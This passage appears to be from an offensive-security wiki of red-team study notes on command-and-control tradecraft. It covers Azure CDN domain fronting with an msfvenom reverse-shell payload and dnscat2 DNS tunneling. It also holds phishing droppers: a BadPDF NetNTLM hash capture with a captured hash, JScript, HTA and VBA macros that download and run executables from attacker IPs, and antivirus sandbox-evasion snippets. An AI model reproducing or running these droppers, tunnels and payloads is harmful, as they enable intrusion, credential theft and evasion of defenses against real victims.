* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
